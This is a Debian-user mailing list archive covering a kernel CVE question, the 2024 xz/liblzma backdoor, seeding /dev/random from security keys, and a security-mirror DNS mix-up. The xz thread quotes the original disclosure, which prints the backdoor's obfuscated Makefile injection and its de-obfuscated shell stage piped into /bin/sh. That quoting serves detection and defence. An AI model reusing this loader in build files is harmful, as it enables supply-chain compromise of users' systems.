Re: Security hole in kernel fixed?

2024-05-15 Thread Stanislav Vlasov
ср, 15 мая 2024 г. в 16:55, Hans :

> Dear developers,

Users.

> in April 2024 the security hole CVE-2023-6546 was discovered in linux-image, 
> and I believe, it is fixed in kernel 6.1.0 (from debian/stable) as soon after 
> this a new kernel was released.

https://security-tracker.debian.org/tracker/CVE-2023-6546 may be help

-- 
Stanislav



Re: Security hole in kernel fixed?

2024-05-15 Thread The Wanderer
On 2024-05-15 at 03:05, Hans wrote:

> Dear developers,

As usual, most of us here are not Debian developers, even if some of us
may be software developers.

> in April 2024 the security hole CVE-2023-6546 was discovered in linux-image, 
> and I believe, it 
> is fixed in kernel 6.1.0 (from debian/stable) as soon after this a new kernel 
> was released.
> 
> However, there is no new kernel 6.5.0-*-bpo released at that time, so my 
> question: 
> 
> Does anyone know, if this fix was also integrated in kernel 6.5.0-*.bpo ?

I don't have a definitive answer, but you might look at:

https://security-tracker.debian.org/tracker/CVE-2023-6546

The only place it mentions 6.5 is in the Notes section, where it
mentions 6.5-rc7 (with a kernel.org link) in the context of a statement
that the Linux kernel in Debian buster does not include the vulnerable
code.

I would therefore suspect that any 6.5.x kernel probably was not
affected by this vulnerability to begin with.

-- 
   The Wanderer

The reasonable man adapts himself to the world; the unreasonable one
persists in trying to adapt the world to himself. Therefore all
progress depends on the unreasonable man. -- George Bernard Shaw



signature.asc
Description: OpenPGP digital signature


Security hole in kernel fixed?

2024-05-15 Thread Hans
Dear developers,


in April 2024 the security hole CVE-2023-6546 was discovered in linux-image, 
and I believe, it 
is fixed in kernel 6.1.0 (from debian/stable) as soon after this a new kernel 
was released.


However, there is no new kernel 6.5.0-*-bpo released at that time, so my 
question: 


Does anyone know, if this fix was also integrated in kernel 6.5.0-*.bpo ?

Thanks for your answer.

Best

Hans






Re: [oss-security] backdoor in upstream xz/liblzma leading to ssh server compromise

2024-03-30 Thread Andy Smith
Hi,

On Sat, Mar 30, 2024 at 08:57:14PM +, fxkl4...@protonmail.com wrote:
> so is this a threat to us normal debian users

If you have to ask, i.e. you do not know how to check that your
Debian install is secured against extremely well known recent
exploits that have been plastered across the entire Internet,
then yes, your Debian install is at risk - from this gap in your
knowledge.

It's okay to not know things, but let's rectify that.

Every Debian user that manages their own machine(s) should read
this:

https://www.debian.org/doc/manuals/debian-handbook/

In it there is a chapter on keeping up to date:


https://www.debian.org/doc/manuals/debian-handbook/sect.regular-upgrades.en.html

That will get you a long way - letting you kn ow when there's
updated packages available for your version of Debian.

But what about known issues that may or may not have been yet
tackled by Debian?

You can find a reference for advisories here:

https://www.debian.org/security/

And you can be fed info by email by subscribing to:

https://lists.debian.org/debian-security-announce/

Between those last two links your specific question here is answered
but in case you object to being taught to fish, here is your fish:

https://lists.debian.org/debian-security-announce/2024/msg00057.html

Bon appetit.
Andy

-- 
https://bitfolk.com/ -- No-nonsense VPS hosting



Re: [oss-security] backdoor in upstream xz/liblzma leading to ssh server compromise

2024-03-30 Thread Michel Verdier
On 2024-03-30, fxkl4...@protonmail.com wrote:

> so is this a threat to us normal debian users
> if so how do we fix it

Debian stable is not affected, Debian testing, unstable and
experimental must be updated.

https://lists.debian.org/debian-security-announce/2024/msg00057.html



Re: [oss-security] backdoor in upstream xz/liblzma leading to ssh server compromise

2024-03-30 Thread fxkl47BF
so is this a threat to us normal debian users
if so how do we fix it

On Sat, 30 Mar 2024, Jeffrey Walton wrote:

> It looks like more analysis has revealed this is a RCE with the
> payload in the modulus of a public key: "The payload is extracted from
> the N value (the public key) passed to RSA_public_decrypt, checked
> against a simple fingerprint, and decrypted with a fixed ChaCha20 key
> before the Ed448 signature verification..." Also see
> <https://www.openwall.com/lists/oss-security/2024/03/30/36>.
>
> On Fri, Mar 29, 2024 at 1:52 PM Jeffrey Walton  wrote:
>>
>> Seems relevant since Debian adopted xz about 10 years ago.
>>
>> -- Forwarded message -
>> From: Andres Freund 
>> Date: Fri, Mar 29, 2024 at 12:10 PM
>> Subject: [oss-security] backdoor in upstream xz/liblzma leading to ssh
>> server compromise
>> To: 
>>
>> Hi,
>>
>> After observing a few odd symptoms around liblzma (part of the xz package) on
>> Debian sid installations over the last weeks (logins with ssh taking a lot of
>> CPU, valgrind errors) I figured out the answer:
>>
>> The upstream xz repository and the xz tarballs have been backdoored.
>>
>> At first I thought this was a compromise of debian's package, but it turns 
>> out
>> to be upstream.
>>
>> == Compromised Release Tarball ==
>>
>> One portion of the backdoor is *solely in the distributed tarballs*. For
>> easier reference, here's a link to debian's import of the tarball, but it is
>> also present in the tarballs for 5.6.0 and 5.6.1:
>>
>> https://salsa.debian.org/debian/xz-utils/-/blob/debian/unstable/m4/build-to-host.m4?ref_type=heads#L63
>>
>> That line is *not* in the upstream source of build-to-host, nor is
>> build-to-host used by xz in git.  However, it is present in the tarballs
>> released upstream, except for the "source code" links, which I think github
>> generates directly from the repository contents:
>>
>> https://github.com/tukaani-project/xz/releases/tag/v5.6.0
>> https://github.com/tukaani-project/xz/releases/tag/v5.6.1
>>
>>
>> This injects an obfuscated script to be executed at the end of configure. 
>> This
>> script is fairly obfuscated and data from "test" .xz files in the repository.
>>
>>
>> This script is executed and, if some preconditions match, modifies
>> $builddir/src/liblzma/Makefile to contain
>>
>> am__test = bad-3-corrupt_lzma2.xz
>> ...
>> am__test_dir=$(top_srcdir)/tests/files/$(am__test)
>> ...
>> sed rpath $(am__test_dir) | $(am__dist_setup) >/dev/null 2>&1
>>
>>
>> which ends up as
>> ...; sed rpath ../../../tests/files/bad-3-corrupt_lzma2.xz | tr "
>>   \-_" " _\-" | xz -d | /bin/bash >/dev/null 2>&1; ...
>>
>> Leaving out the "| bash" that produces
>>
>> Hello
>> #�Z�.hj�
>> eval `grep ^srcdir= config.status`
>> if test -f ../../config.status;then
>> eval `grep ^srcdir= ../../config.status`
>> srcdir="../../$srcdir"
>> fi
>> export i="((head -c +1024 >/dev/null) && head -c +2048 && (head -c
>> +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) &&
>> head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head
>> -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) &&
>> head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head
>> -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) &&
>> head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head
>> -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) &&
>> head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head
>> -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) &&
>> head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head
>> -c +1024 >/dev/null) && head -c +724)";(xz -dc
>> $srcdir/tests/files/good-large_compressed.lzma|eval $i|tail -c
>> +31265|tr "\5-\51\204-\377\52-\115\132-\203\0-\4\116-\131"
>> "\0-\377")|xz -F raw --lzma1 -dc|/bin/sh
>> World
>>
>> After de-obfuscation this leads to the attached injected.txt.
>>
>>
>> ==

Re: [oss-security] backdoor in upstream xz/liblzma leading to ssh server compromise

2024-03-30 Thread Jeffrey Walton
It looks like more analysis has revealed this is a RCE with the
payload in the modulus of a public key: "The payload is extracted from
the N value (the public key) passed to RSA_public_decrypt, checked
against a simple fingerprint, and decrypted with a fixed ChaCha20 key
before the Ed448 signature verification..." Also see
<https://www.openwall.com/lists/oss-security/2024/03/30/36>.

On Fri, Mar 29, 2024 at 1:52 PM Jeffrey Walton  wrote:
>
> Seems relevant since Debian adopted xz about 10 years ago.
>
> -- Forwarded message -
> From: Andres Freund 
> Date: Fri, Mar 29, 2024 at 12:10 PM
> Subject: [oss-security] backdoor in upstream xz/liblzma leading to ssh
> server compromise
> To: 
>
> Hi,
>
> After observing a few odd symptoms around liblzma (part of the xz package) on
> Debian sid installations over the last weeks (logins with ssh taking a lot of
> CPU, valgrind errors) I figured out the answer:
>
> The upstream xz repository and the xz tarballs have been backdoored.
>
> At first I thought this was a compromise of debian's package, but it turns out
> to be upstream.
>
> == Compromised Release Tarball ==
>
> One portion of the backdoor is *solely in the distributed tarballs*. For
> easier reference, here's a link to debian's import of the tarball, but it is
> also present in the tarballs for 5.6.0 and 5.6.1:
>
> https://salsa.debian.org/debian/xz-utils/-/blob/debian/unstable/m4/build-to-host.m4?ref_type=heads#L63
>
> That line is *not* in the upstream source of build-to-host, nor is
> build-to-host used by xz in git.  However, it is present in the tarballs
> released upstream, except for the "source code" links, which I think github
> generates directly from the repository contents:
>
> https://github.com/tukaani-project/xz/releases/tag/v5.6.0
> https://github.com/tukaani-project/xz/releases/tag/v5.6.1
>
>
> This injects an obfuscated script to be executed at the end of configure. This
> script is fairly obfuscated and data from "test" .xz files in the repository.
>
>
> This script is executed and, if some preconditions match, modifies
> $builddir/src/liblzma/Makefile to contain
>
> am__test = bad-3-corrupt_lzma2.xz
> ...
> am__test_dir=$(top_srcdir)/tests/files/$(am__test)
> ...
> sed rpath $(am__test_dir) | $(am__dist_setup) >/dev/null 2>&1
>
>
> which ends up as
> ...; sed rpath ../../../tests/files/bad-3-corrupt_lzma2.xz | tr "
>   \-_" " _\-" | xz -d | /bin/bash >/dev/null 2>&1; ...
>
> Leaving out the "| bash" that produces
>
> Hello
> #��Z�.hj�
> eval `grep ^srcdir= config.status`
> if test -f ../../config.status;then
> eval `grep ^srcdir= ../../config.status`
> srcdir="../../$srcdir"
> fi
> export i="((head -c +1024 >/dev/null) && head -c +2048 && (head -c
> +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) &&
> head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head
> -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) &&
> head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head
> -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) &&
> head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head
> -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) &&
> head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head
> -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) &&
> head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head
> -c +1024 >/dev/null) && head -c +724)";(xz -dc
> $srcdir/tests/files/good-large_compressed.lzma|eval $i|tail -c
> +31265|tr "\5-\51\204-\377\52-\115\132-\203\0-\4\116-\131"
> "\0-\377")|xz -F raw --lzma1 -dc|/bin/sh
> World
>
> After de-obfuscation this leads to the attached injected.txt.
>
>
> == Compromised Repository ==
>
> The files containing the bulk of the exploit are in an obfuscated form in
>   tests/files/bad-3-corrupt_lzma2.xz
>   tests/files/good-large_compressed.lzma
> committed upstream. They were initially added in
> https://github.com/tukaani-project/xz/commit/cf44e4b7f5dfdbf8c78aef377c10f71e274f63c0
>
> Note that the files were not even used for any "tests" in 5.6.0.
>
>
> Subsequently the injected code (more about that below) caused valgrind 

Re: Fwd: [oss-security] backdoor in upstream xz/liblzma leading to ssh server compromise

2024-03-29 Thread Andy Smith
Hello,

On Fri, Mar 29, 2024 at 01:52:18PM -0400, Jeffrey Walton wrote:
> Seems relevant since Debian adopted xz about 10 years ago.

Though we do not know how or why this developer has come to recently
put apparent exploits in it, so we can't yet draw much of a
conclusion beyond "sometimes people do bad stuff to good software".

Sounds like it'll be an interesting story though. It's going to
drive a lot of conspiracy theories.

Thanks,
Andy

-- 
https://bitfolk.com/ -- No-nonsense VPS hosting



Re: Fwd: [oss-security] backdoor in upstream xz/liblzma leading to ssh server compromise

2024-03-29 Thread Roberto C . Sánchez
On Fri, Mar 29, 2024 at 01:52:18PM -0400, Jeffrey Walton wrote:
> Seems relevant since Debian adopted xz about 10 years ago.
> 
Also note that this has been addressed in Debian:
https://lists.debian.org/debian-security-announce/2024/msg00057.html

Provided here for the benefit those who are not subscribed to
debian-security-announce.

Regards,

-Roberto

-- 
Roberto C. Sánchez



Re: seeding /dev/random from a security key

2024-03-26 Thread Jeffrey Walton
On Tue, Mar 26, 2024 at 7:12 PM Björn Persson  wrote:
>
> Jeffrey Walton wrote:
> > For what you want to do, and if I am parsing it correctly... I would
> > write a daemon in C [...]
>
> Only in the unlikely case that both RNGD and SCDrand turn out unsuitable
> somehow. Writing and compiling a daemon is no less work than compiling
> an already written daemon.
>
> > The part about extracting the entropy from the source would use
> > OpenSSL or GnuPG. I believe you would compile and link to OpenSSL's
> > libcrypto.{a|so}, or GnuPG's libgcrypt.{a|so}.
>
> RNGD 6 actually uses OpenSC's libp11, where it calls the function
> PKCS11_generate_random, which in turn calls the PKCS #11 function
> C_GenerateRandom.

It sounds like you have it sorted out. Good luck with it.

Jeff



Re: seeding /dev/random from a security key

2024-03-26 Thread Björn Persson
Jeffrey Walton wrote:
> For what you want to do, and if I am parsing it correctly... I would
> write a daemon in C [...]

Only in the unlikely case that both RNGD and SCDrand turn out unsuitable
somehow. Writing and compiling a daemon is no less work than compiling
an already written daemon.

> The part about extracting the entropy from the source would use
> OpenSSL or GnuPG. I believe you would compile and link to OpenSSL's
> libcrypto.{a|so}, or GnuPG's libgcrypt.{a|so}.

RNGD 6 actually uses OpenSC's libp11, where it calls the function
PKCS11_generate_random, which in turn calls the PKCS #11 function
C_GenerateRandom.

Björn Persson


pgpOK5m0QGWIe.pgp
Description: OpenPGP digital signatur


Re: seeding /dev/random from a security key

2024-03-26 Thread Jeffrey Walton
On Tue, Mar 26, 2024 at 11:52 AM Björn Persson  wrote:
>
> Jeffrey Walton wrote:
> > Out of morbid curiosity, what hardware are the servers using? RDRAND
> > and RDSEED have been available since about 2012, so it is mostly
> > ubiquitous nowadays.
>
> Do you mean I should add to the e-waste pile by throwing away working
> hardware and buy an entire new computer instead of buying a tiny dongle?

No, I was wondering about the server hardware. I would be surprised to
learn of something without Intel's SecureKey nowadays (assuming it is
x86{-64} based).

> > Be careful of rng-tools. It does not do a good job for non-mainstream
> > generators, like VIA's Padlock Security Engine. And rng-tools did not
> > support generators for architectures, like you would find on ARM,
> > aarch64 and PowerPC.
>
> I figure it can be used with devices it supports even if there are some
> other devices it doesn't support – but it looks like I'd have to build
> it from source myself.

Yeah, I've had to do that in the past. You will also (probably) need
to write a systemd unit file or two.

> > OpenSSL and GnuPG should be
> > able to extract the entropy from the card, and then use it to seed
> > /dev/{u}random.
>
> This job requires a daemon. OpenSSL is a library. Or do you mean its
> command-line tool? So how would I tell that to fetch random data
> through PKCS #11?
>
> GnuPG at least has a daemon called scdaemon. Is that what you mean? So
> how would I tell that to fetch random data through PKCS #11 and write
> to /dev/random?

For what you want to do, and if I am parsing it correctly... I would
write a daemon in C to collect the entropy from the source, then
extract the entropy from the bytes, and then insert the entropy into
the system's random number generator. For entropy extraction, take a
look at HKDF and Krawczyk's paper. Krawczyk does a good job of cleanly
separating entropy extraction from later stage key expansion.

The part about extracting the entropy from the source would use
OpenSSL or GnuPG. I believe you would compile and link to OpenSSL's
libcrypto.{a|so}, or GnuPG's libgcrypt.{a|so}. Since this is a daemon
and not a driver, I believe you can use the shared objects.

I eat my own dog food. I've done similar in the past with both an
EntropyKey and custom on-board generator for a MIPS Creator CI-20 with
the jz4780-rng. For the EntropyKey, I did not even bother decrypting
the stream. I stuffed the encrypted stream right into /dev/random,
because the amount of entropy does not change regardless of the
formatting (encrypted vs unencrypted).

And you may find this interesting... Debian suffers entropy depletion
on /dev/random and can hang components that use it, including
/dev/urandom. It is easy for a userland process to do. All you need is
a stock Debian system _without_ an entropy gatherer like Haveged. Have
your program perform a big read on /dev/random with O_NONBLOCK. The
kernel will return every last bit of entropy it has, and then start
blocking processes. The only way to recover in reasonable time is to
run a daemon like Haveged. I reported it to the devs several years
ago, but there was no interest in fixing it.

Jeff



Re: seeding /dev/random from a security key

2024-03-26 Thread Björn Persson
Jeffrey Walton wrote:
> Out of morbid curiosity, what hardware are the servers using? RDRAND
> and RDSEED have been available since about 2012, so it is mostly
> ubiquitous nowadays.

Do you mean I should add to the e-waste pile by throwing away working
hardware and buy an entire new computer instead of buying a tiny dongle?

> Be careful of rng-tools. It does not do a good job for non-mainstream
> generators, like VIA's Padlock Security Engine. And rng-tools did not
> support generators for architectures, like you would find on ARM,
> aarch64 and PowerPC.

I figure it can be used with devices it supports even if there are some
other devices it doesn't support – but it looks like I'd have to build
it from source myself.

> OpenSSL and GnuPG should be
> able to extract the entropy from the card, and then use it to seed
> /dev/{u}random.

This job requires a daemon. OpenSSL is a library. Or do you mean its
command-line tool? So how would I tell that to fetch random data
through PKCS #11?

GnuPG at least has a daemon called scdaemon. Is that what you mean? So
how would I tell that to fetch random data through PKCS #11 and write
to /dev/random?

Björn Persson


pgpia22PvZ5bD.pgp
Description: OpenPGP digital signatur


Re: seeding /dev/random from a security key

2024-03-25 Thread Jeffrey Walton
On Mon, Mar 25, 2024 at 4:33 PM Björn Persson  wrote:
>
> In a quest to acquire hardware random number generators for seeding
> /dev/random on servers that lack a built-in entropy source, I'm
> investigating how random data can be obtained from a security key such
> as a Nitrokey, Yubikey or a similar device.

Out of morbid curiosity, what hardware are the servers using? RDRAND
and RDSEED have been available since about 2012, so it is mostly
ubiquitous nowadays.

> RNGD version 6 from https://github.com/nhorman/rng-tools can fetch
> random data through a PKCS #11 interface, but the two versions of RNGD
> in Debian seem to lack that ability. Debian has rng-tools5 and
> rng-tools-debian, but not Neil Horman's version 6. Or am I just failing
> to find it?

Be careful of rng-tools. It does not do a good job for non-mainstream
generators, like VIA's Padlock Security Engine. And rng-tools did not
support generators for architectures, like you would find on ARM,
aarch64 and PowerPC.

> SCDrand from https://incenp.org/dvlpt/scdtools.html can also obtain
> random data from a "smartcard"-compatible device, but I don't find that
> in Debian either.
>
> Does anyone know of another way to obtain random data from devices of
> this kind?

PKCS#11 is a standard interface. If the card provides a generator,
then the code is the same for all cards. OpenSSL and GnuPG should be
able to extract the entropy from the card, and then use it to seed
/dev/{u}random.

But keep in mind ... the kernel crypto folks effectively deprecated
/dev/random, and recommend using /dev/urandom for your random bits. Or
use getrandom(2). See <https://lkml.org/lkml/2017/7/20/993>.

Jeff



Re: seeding /dev/random from a security key

2024-03-25 Thread Björn Persson
Andy Smith wrote:
> EntropyKey is a dead product that can no longer be obtained

I've seen several like that. They're permanently sold out, or the
webshops are abandoned and half-broken. Pure random number generators
that are actually possible to buy are rare. That's why I'm
investigating whether security keys can be used instead. Security keys
are available from multiple vendors, but it's hard to find any
information about the random number generators inside them.

> OneRNG is still in production.

I tried to buy one of those a while ago, but I couldn't because the
shop didn't like my card number.

> On their mailing list however, there
> is a recent discussion about whether there any point. The conclusion
> seems to be "not really". Thread starts here:
> 
> http://lists.ourshack.com/pipermail/discuss/2024-March/000797.html
> 
> The thread covers how to make rngd feed /dev/random from a OneRNG in
> Debian 12, but it is no longer possible to tell if that does
> anything useful.

It is indeed harder to tell since Linux stopped keeping track of the
entropy level, and it's now necessary to force-feed /dev/random
periodically instead of waiting for the entropy level to drop.

A random number generator is still useful on a server with no keyboard,
no spinning disk and no RDRAND or similar processor instruction.
Otherwise network traffic becomes the only source of entropy, and I'd
rather not rely solely on events controlled by other computers.

It also helps to mix entropy from multiple sources, in case one of them
has a design flaw or a backdoor, or breaks down, or loses its driver
like in Debian bug 1041007.

Björn Persson


pgpEuWy2nx_ME.pgp
Description: OpenPGP digital signatur


Re: seeding /dev/random from a security key

2024-03-25 Thread Greg Wooledge
On Mon, Mar 25, 2024 at 06:09:02PM -0400, e...@gmx.us wrote:
> On 3/25/24 17:27, Andy Smith wrote:
> > The thread covers how to make rngd feed /dev/random from a OneRNG in
> > Debian 12, but it is no longer possible to tell if that does
> > anything useful.
> 
> If not from devices like this, from where does Debian get its randomness?

random(4) (i.e. "man 4 random") gives a basic introduction to the topic,
if you have manpages-dev installed.



Re: seeding /dev/random from a security key

2024-03-25 Thread eben

On 3/25/24 17:27, Andy Smith wrote:

The thread covers how to make rngd feed /dev/random from a OneRNG in
Debian 12, but it is no longer possible to tell if that does
anything useful.


If not from devices like this, from where does Debian get its randomness?

--
For is it not written, wheresoever two or three are gathered
together, yea they will perform the Parrot Sketch.

-- Rob on ASR



Re: seeding /dev/random from a security key

2024-03-25 Thread Andy Smith
Hi,

On Mon, Mar 25, 2024 at 09:24:23PM +0100, Björn Persson wrote:
> Does anyone know of another way to obtain random data from devices of
> this kind?

I have some EntropyKeys and some OneRNGs. I have the rngd packaged
in Debian feeding /dev/random from them.

This had an actual noticeable effect in Debian 9 and earlier, but
since the reworking of Linux's random subsystem I cannot demonstrate
any benefit unless I disable all use of the RDRAND CPU instruction.

EntropyKey is a dead product that can no longer be obtained but
OneRNG is still in production. On their mailing list however, there
is a recent discussion about whether there any point. The conclusion
seems to be "not really". Thread starts here:

http://lists.ourshack.com/pipermail/discuss/2024-March/000797.html

The thread covers how to make rngd feed /dev/random from a OneRNG in
Debian 12, but it is no longer possible to tell if that does
anything useful.

I most likely will not be replacing these devices when they fail.

Thanks,
Andy

-- 
https://bitfolk.com/ -- No-nonsense VPS hosting



seeding /dev/random from a security key

2024-03-25 Thread Björn Persson
Hello!

In a quest to acquire hardware random number generators for seeding
/dev/random on servers that lack a built-in entropy source, I'm
investigating how random data can be obtained from a security key such
as a Nitrokey, Yubikey or a similar device.

RNGD version 6 from https://github.com/nhorman/rng-tools can fetch
random data through a PKCS #11 interface, but the two versions of RNGD
in Debian seem to lack that ability. Debian has rng-tools5 and
rng-tools-debian, but not Neil Horman's version 6. Or am I just failing
to find it?

SCDrand from https://incenp.org/dvlpt/scdtools.html can also obtain
random data from a "smartcard"-compatible device, but I don't find that
in Debian either.

Does anyone know of another way to obtain random data from devices of
this kind?

Björn Persson


pgp1OCs1ezY_B.pgp
Description: OpenPGP digital signatur


Re: No Release file for Security Update

2024-01-19 Thread debian-user
Tixy  wrote:
> On Thu, 2024-01-18 at 12:06 -0600, John Hasler wrote:
> > Tixy writes:  
> > > Where could your machine be getting this IP address from?  It's
> > > the same IP address shown in your output when you used the
> > > incorrect address 'ftp.security.debian.org' and for me that
> > > doesn't resolve to any IP address.  
> >   
> > > From here both security.debian.org and
> > > ftp.security.debian.org resolve  
> > to 57.128.81.193.  Happens both with Unbound and with 8.8.8.8.
> > 
> > toncho/~ 22 dig  ftp.security-debian.org  
> 
> That's a different address (you're using a '-') and works for me too.
> 
> I was using the address that George _said_ he used in his email,
> obviously he was wrong and just mis-typing emails rather than copy and
> pasting in what he was actually using :-(

Another example of why posting the prompt and command as well as the
output is useful :)



SOLVED Re: No Release file for Security Update SOLVED

2024-01-18 Thread Thomas George
  The following sources.list which I copied from 
wiki.debian.org/SourcesList works perfectly for me


deb http://deb.debian.org/debian/ bookworm main non-free-firmware 
contrib non-free
deb-src http://deb.debian.org/debian/ bookworm main non-free-firmware 
contrib non-free


deb http://deb.debian.org/debian/ bookworm-updates main 
non-free-firmware contrib non-free
deb-src http://deb.debian.org/debian/ bookworm-updates main 
non-free-firmware contrib non-free


deb http://security.debian.org/debian-security bookworm-security main 
non-free-firmware contrib non-free
deb-src http://security.debian.org/debian-security bookworm-security 
main non-free-firmware contrib non-free


Thanks to the many responders who coached me through my rambling, 
incoherent path to this solution.


My apologies to the many responders who I misled with dumb entries.

I hope this ends the search for all.

Tom George

On 1/18/24 13:06, John Hasler wrote:

Tixy writes:

Where could your machine be getting this IP address from?  It's the
same IP address shown in your output when you used the incorrect
address 'ftp.security.debian.org' and for me that doesn't resolve to
any IP address.

>From here both security.debian.org and ftp.security.debian.org resolve
to 57.128.81.193.  Happens both with Unbound and with 8.8.8.8.

toncho/~ 22 dig  ftp.security-debian.org

; <<>> DiG 9.19.19-1-Debian <<>> ftp.security-debian.org
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 2686
;; flags: qr rd ra; QUERY: 1, ANSWER: 2, AUTHORITY: 0, ADDITIONAL: 1

;; OPT PSEUDOSECTION:
; EDNS: version: 0, flags:; udp: 1232
;; QUESTION SECTION:
;ftp.security-debian.org.   IN  A

;; ANSWER SECTION:
ftp.security-debian.org. 3296   IN  CNAME   security-debian.org.
security-debian.org.3089IN  A   57.128.81.193

;; Query time: 0 msec
;; SERVER: 192.168.1.2#53(192.168.1.2) (UDP)
;; WHEN: Thu Jan 18 12:03:08 CST 2024
;; MSG SIZE  rcvd: 101

toncho/~ 22 dig @8.8.8.8 ftp.security-debian.org

; <<>> DiG 9.19.19-1-Debian <<>> @8.8.8.8 ftp.security-debian.org
; (1 server found)
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 42376
;; flags: qr rd ra ad; QUERY: 1, ANSWER: 2, AUTHORITY: 0, ADDITIONAL: 1

;; OPT PSEUDOSECTION:
; EDNS: version: 0, flags:; udp: 512
;; QUESTION SECTION:
;ftp.security-debian.org.   IN  A

;; ANSWER SECTION:
ftp.security-debian.org. 3600   IN  CNAME   security-debian.org.
security-debian.org.3600IN  A   57.128.81.193

;; Query time: 308 msec
;; SERVER: 8.8.8.8#53(8.8.8.8) (UDP)
;; WHEN: Thu Jan 18 12:03:42 CST 2024
;; MSG SIZE  rcvd: 82

toncho/~ 22 dig @8.8.8.8 security-debian.org

; <<>> DiG 9.19.19-1-Debian <<>> @8.8.8.8 security-debian.org
; (1 server found)
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 13855
;; flags: qr rd ra ad; QUERY: 1, ANSWER: 1, AUTHORITY: 0, ADDITIONAL: 1

;; OPT PSEUDOSECTION:
; EDNS: version: 0, flags:; udp: 512
;; QUESTION SECTION:
;security-debian.org.   IN  A

;; ANSWER SECTION:
security-debian.org.3600IN  A   57.128.81.193

;; Query time: 284 msec
;; SERVER: 8.8.8.8#53(8.8.8.8) (UDP)
;; WHEN: Thu Jan 18 12:05:00 CST 2024
;; MSG SIZE  rcvd: 64








Re: No Release file for Security Update

2024-01-18 Thread Greg Wooledge
On Thu, Jan 18, 2024 at 10:59:48AM -0600, John Hasler wrote:
> Host gives me the same result.  However, apt says:
> 
>  0% [Connecting to security-debian.org (57.128.81.193)]

security-debian.org and security.debian.org are different names.



Re: No Release file for Security Update

2024-01-18 Thread Tixy
On Thu, 2024-01-18 at 18:51 +, Tixy wrote:
> > On Thu, 2024-01-18 at 18:16 +, Tixy wrote:
> > > > On Thu, 2024-01-18 at 12:06 -0600, John Hasler wrote:
> > > > > > Tixy writes:
> > > > > > > > Where could your machine be getting this IP address from?  It's 
> > > > > > > > the
> > > > > > > > same IP address shown in your output when you used the incorrect
> > > > > > > > address 'ftp.security.debian.org' and for me that doesn't 
> > > > > > > > resolve to
> > > > > > > > any IP address.
> > > > > > 
> > > > > > > > From here both security.debian.org and ftp.security.debian.org 
> > > > > > > > resolve
> > > > > > to 57.128.81.193.  Happens both with Unbound and with 8.8.8.8.
> > > > > > 
> > > > > > toncho/~ 22 dig  ftp.security-debian.org
> > > > 
> > > > That's a different address (you're using a '-') and works for me too.
> > > > 
> > > > I was using the address that George _said_ he used in his email,
> > > > obviously he was wrong and just mis-typing emails rather than copy and
> > > > pasting in what he was actually using :-(
> > 
> > Of course you're also guilty John ;-) saying 'ftp.security.debian.org'
> > resolved, but at least you pasted a command showing what you really
> > used :-)

And now you can all point out that it was me that was misquoting the
address and using a dot where in fact everyone else was using a hyphen
in 'debian-security'. I'll now slink away red faced and try and find a
hole big enough to crawl into...

-- 
Tixy



Re: No Release file for Security Update

2024-01-18 Thread Tixy
On Thu, 2024-01-18 at 18:16 +, Tixy wrote:
> On Thu, 2024-01-18 at 12:06 -0600, John Hasler wrote:
> > Tixy writes:
> > > Where could your machine be getting this IP address from?  It's the
> > > same IP address shown in your output when you used the incorrect
> > > address 'ftp.security.debian.org' and for me that doesn't resolve to
> > > any IP address.
> > 
> > > From here both security.debian.org and ftp.security.debian.org resolve
> > to 57.128.81.193.  Happens both with Unbound and with 8.8.8.8.
> > 
> > toncho/~ 22 dig  ftp.security-debian.org
> 
> That's a different address (you're using a '-') and works for me too.
> 
> I was using the address that George _said_ he used in his email,
> obviously he was wrong and just mis-typing emails rather than copy and
> pasting in what he was actually using :-(

Of course you're also guilty John ;-) saying 'ftp.security.debian.org'
resolved, but at least you pasted a command showing what you really
used :-)

-- 
Tixy



Re: No Release file for Security Update

2024-01-18 Thread Tixy
On Thu, 2024-01-18 at 12:06 -0600, John Hasler wrote:
> Tixy writes:
> > Where could your machine be getting this IP address from?  It's the
> > same IP address shown in your output when you used the incorrect
> > address 'ftp.security.debian.org' and for me that doesn't resolve to
> > any IP address.
> 
> > From here both security.debian.org and ftp.security.debian.org resolve
> to 57.128.81.193.  Happens both with Unbound and with 8.8.8.8.
> 
> toncho/~ 22 dig  ftp.security-debian.org

That's a different address (you're using a '-') and works for me too.

I was using the address that George _said_ he used in his email,
obviously he was wrong and just mis-typing emails rather than copy and
pasting in what he was actually using :-(

-- 
Tixy



Re: No Release file for Security Update

2024-01-18 Thread John Hasler
Tixy writes:
> Where could your machine be getting this IP address from?  It's the
> same IP address shown in your output when you used the incorrect
> address 'ftp.security.debian.org' and for me that doesn't resolve to
> any IP address.

>From here both security.debian.org and ftp.security.debian.org resolve
to 57.128.81.193.  Happens both with Unbound and with 8.8.8.8.

toncho/~ 22 dig  ftp.security-debian.org

; <<>> DiG 9.19.19-1-Debian <<>> ftp.security-debian.org
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 2686
;; flags: qr rd ra; QUERY: 1, ANSWER: 2, AUTHORITY: 0, ADDITIONAL: 1

;; OPT PSEUDOSECTION:
; EDNS: version: 0, flags:; udp: 1232
